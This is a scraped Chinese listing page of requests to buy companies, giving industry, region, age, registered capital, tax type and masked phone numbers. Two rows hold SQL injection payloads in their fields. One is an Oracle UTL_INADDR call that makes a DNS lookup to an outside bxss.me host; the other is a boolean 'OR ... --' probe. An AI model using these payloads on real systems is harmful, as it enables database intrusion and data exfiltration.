求购行业 | 要求地区 | 成立年限 | 注册要求 | 税务要求 | 联系方式 | 发布日期 | 状态 |
环保能源行业 | 地区 | 1 年以上 | 0-30 万 | 减税免税类企业 | 1**** | 45 分钟前 | 求购中 |
通讯信息行业 | 地区 | 1 年以上 | 0-30 万 | 其它税务类型 | 1**** | 18 分钟前 | 求购中 |
科技研发行业 | 长沙地区 | 3 年以上 | 100-300 万 | 小规模类纳税人 | 151****6752 | 26 分钟前 | 求购中 |
贸易电商行业 | 河南地区 | 3 年以上 | 50-100 万 | 减税免税类企业 | 131****5109 | 26 分钟前 | 求购中 |
交通运输行业 | 地区 | 1 年以上 | 0-30 万 | 减税免税类企业 | 135****1493 | 31 分钟前 | 求购中 |
家具日用行业 | 地区 | 1 年以上 | 0-30 万 | 进出口退税类型 | 1**** | 47 分钟前 | 求购中 |
广告传媒行业 | 地区 | 1 年以上 | 0-30 万 | 增值税(一般纳税人) | 1**** | 09 分钟前 | 求购中 |
食饮娱乐行业 | 石家庄地区 | 3 年以上 | 50-100 万 | 增值税(一般纳税人) | 130****8899 | 15 分钟前 | 求购中 |
设备器械行业 | 地区 | 1 年以上 | 0-30 万 | 小规模类纳税人 | 1**** | 49 分钟前 | 求购中 |
通讯信息行业 | 地区 | 2 年以上 | 0-30 万 | 减税免税类企业 | 3u2****9 | 02 分钟前 | 求购中 |
电子电器行业 | 地区 | 2 年以上 | 0-30 万 | 减税免税类企业 | 1**** | 47 分钟前 | 求购中 |
广告传媒行业 | 地区 | 1 年以上 | 0-30 万 | '||UTL_INADDR.get_host_address('dns.'||'sqli.013405.495-40122.495.76c25.1.bxss'||'.me')||' | 1**** | 04 分钟前 | 求购中 |
科技研发行业 | 地区 | 1 年以上 | -1 OR 2+400-400-1=0+0+0+1 -- | 小规模类纳税人 | 1**** | 12 分钟前 | 求购中 |
环保能源行业 | 茂名地区 | 1 年以上 | 0-30 万 | 减税免税类企业 | 186****8746 | 21 分钟前 | 求购中 |
交通运输行业 | 昆明地区 | 1 年以上 | 30-50 万 | 减税免税类企业 | 138****7137 | 40 分钟前 | 求购中 |
扫码关注微信